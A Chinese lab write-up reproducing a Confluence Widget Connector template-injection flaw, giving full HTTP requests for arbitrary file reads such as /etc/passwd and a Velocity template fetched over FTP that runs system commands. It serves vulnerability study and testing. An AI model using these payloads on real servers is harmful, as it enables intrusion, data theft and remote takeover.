作者: 墨阳
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
0x01 前言
1、漏洞简介
Confluence是一个专业的企业知识管理与协同软件,常用于构建企业wiki。它强大的编辑和站点管理特征能够帮助团队成员之间共享信息、文档协作、集体讨论,信息推送。Confluence Server 与 Confluence Data Center 中的 Widget Connector 存在服务端模板注入漏洞,攻击者构造特定请求可远程遍历服务器任意文件,进而可以包含恶意文件来执行代码。可能造成敏感信息泄露,服务器被控制等严重后果。
2、影响范围
6.6.12之前所有6.6.x版本
6.12.3之前所有6.12.x版本
6.13.13之前所有6.13.x版本
6.14.2之前所有6.14.x版本
0x02 配置环境:
最好给服务器虚拟机4G以上内存,vulhub启动confluence环境,接下来初始化配置:
BSBI-NU9A-RRKH-P24K
邮箱注册
然后填写一个集团名和路径/home/confluence共享目录
配置数据库连接
点example site
点manager
输入用户邮箱密码
之后的教程跳过-跳过-test-继续
配置完成
0x03 文件读取
1、漏洞触发位置:
插入更多内容(+号)–其他宏–小工具连接器
2、抓包,修改(没有账号直接抓登陆包修改也可以)
POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: 192.168.72.129:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.72.129:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=E1D021B04024032C964FB9E6A11D340B
Connection: close
Content-Type: application/json; charset=utf-8
Content-Length: 168
{
"contentId":"786458","macro":{
"name":"widget","body":"","params":{
"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}
3、将_template参数修改为file伪协议读取任意文件
{
"contentId":"786458","macro":{
"name":"widget","body":"","params":{
"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"file:///etc/passwd"}}}
0x04 远程代码执行
此处文件包含可以使用如file、https、ftp等协议,如果文件是一个 Velocity 模板,我们可以通过模板注入(SSTI)执行任意命令
1、写一个velocity模板文件:
参考:https://blog.csdn.net/weixin_43072923/article/details/117083611
#set ($exp="exp")
#set ($a=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($command))
#set ($input=$exp.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $exp.getClass().forName("java.util.Scanner"))
#set($constructor = $sc.getDeclaredConstructor($exp.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if($scan.hasNext())
$scan.next()
#end
2、开一个ftp服务
这里图省事直接在服务器ubuntu上开了ftp服务,实际可以在kali或者另找一个ubuntu即可
pip install pyftpdlib
python3 -m pyftpdlib -p 21
payload:
{
"contentId":"786458","macro":{
"name":"widget","body":"","params":{
"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"ftp://192.168.72.129:21/test.vm","command":"id"}}}
3、发包,命令执行
0x05 修复建议
官方已修复该漏洞,请到官网下载无漏洞版本:https://www.atlassian.com/
0x06 了解更多安全知识
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!
欢迎关注我们的安全公众号,学习更多安全知识!!!